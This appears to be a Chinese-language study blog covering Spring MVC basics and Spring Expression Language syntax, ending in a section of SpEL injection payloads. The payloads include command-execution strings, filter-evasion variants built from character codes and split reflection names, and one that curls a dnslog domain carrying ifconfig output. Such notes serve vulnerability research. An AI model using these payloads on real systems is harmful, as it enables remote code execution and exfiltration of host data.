Spring相关知识
这里记录一些Spring相关的知识,有框架特性或者漏洞复现,挖掘思路或者过程等等
Spring MVC
Spring MVC中,所有的请求都有DispatcherServlet
来统一处理、分发。然后借助HandlerMapping
定位到处理请求的控制器(Controller)。
Controller
处理完成用户请求后,返回ModelAndView
对象给DispatcherServlet
。
Spring MVC实例
新建一个TestController
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(String input) {
return "/WEB-INF/m1yuu/test.jsp";
}
}
实现了一个控制器,在两层@RequestMapping的定义下,我们想要访问到test方法需要构造URL为/test/index
接着我们在/WEB-INF/m1yuu/下创建test.jsp:
<%--
Created by IntelliJ IDEA.
User: m1saka
Date: 2022/4/4
Time: 5:58 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
File in ...
</body>
</html>
运行tomcat,访问localhost:8080/你部署的位置/index/test可看到返回的是test.jsp的界面。
Spring MVC Model向View传递值
model向view传递值,主要是通过model.addAttribute
将值添加进去。修改TestController:
package m1yuu.spring;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(Model model){
model.addAttribute("id", "m1yuu");
return "/WEB-INF/m1yuu/test.jsp";
}
}
<%--
Created by IntelliJ IDEA.
User: m1saka
Date: 2022/4/4
Time: 5:58 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
File in ...
<br> my id is ${id}
</body>
</html>
Spring MVC 获取URL参数值
package m1yuu.spring;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
@RequestMapping("/test")
public class TestController {
@RequestMapping("/index")
public String test(String name, Model model){
model.addAttribute("id", "m1yuu");
model.addAttribute("name", name);
return "/WEB-INF/m1yuu/test.jsp";
}
}
<%--
Created by IntelliJ IDEA.
User: m1saka
Date: 2022/4/4
Time: 5:58 下午
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>Title</title>
</head>
<body>
File in ...
<br> my id is ${id}
<br> my name is ${name}
</body>
</html>
运行后我们可以通过get或者post等传参方法传入参数name
SPEL
Spel API
SpelExpressionParser
类负责解析表达式,返回一个Expression
对象
getValue()方法执行表达式,默认容器是spring本身的容器:
ApplicationContext
Spel Grammer
#{}
EL使用${},而Spel则是使用#{}作为定界符。所有在大括号内的内容都被认定为表达式。
示例:
- 引用对象: #{person}
- 引用对象属性: #{person.name}
- 调用对象方法: #{person.toString()}
T()
T()运算符会调用作用域的方法和常量。
例如: T(java.lang.Runtime),会返回一个java.lang.Runtime对象
Spel定义
XML
<bean id="Calc" class="org.spring.samples.Calc">
<property name="Calc" value="#{T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")/>
</bean>
注解
public class EmailSender {
// 这里比较特殊,如果获取属性名称,还可以使用${}
@Value("${spring.mail.personname}")
private String personname;
@Value("#{systemProperties['person.region'] }")
private String Locale;
//...
}
Spel用法
Class Expression
new
可以通过new在Spel中实例化对象,类需要通过全限定名进行访问。
表达式内容:
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()
T()
表达式内容:
T(java.lang.Runtime).getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")
Bean Reference
如果已经配置上下文,则可以通过@从表中查找JavaBean
Variable Reference
通过EvaluationContext#setVariable()
定义变量,可以在表达式中进行引用。
- 引用变量: #variableName
- 引用根对象: #root
- 引用上下文对象: #this
如果把context
的root object
设置为一个对象时,在获取的时候可以省略root对象前缀
并且在执行表达式时,Spel会在内部使用反射从根对象中获取/设置属性值。
User defined function
用户可以在Spel中注册自定义方法,将该方法注册到StandardEvaluationContext#registerFunction()
中
下面的EncodeUtils#Encode2Base64
则是我自定义的方法
Spel注入payload
三种payload
new java.lang.ProcessBuilder("/system/Applications/Calculator.app/Contents/MacOS/Calculator").start()//new this.getClass().forName("java.lang.Runtime").getRuntime().exec("/system/Applications/Calculator.app/Contents/MacOS/Calculator")//反射 T(java.lang.Runtime).getRuntime().exec("open -a Calculator.app")//T()运算
一些绕过姿势:
String类动态生成字符
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)).concat(T(java.lang.Character).toString(46)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(112)))
反射异变
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"/bin/bash","-c","curl test.ww4ply.dnslog.cn/`ifconfig '\n' '-'`"})}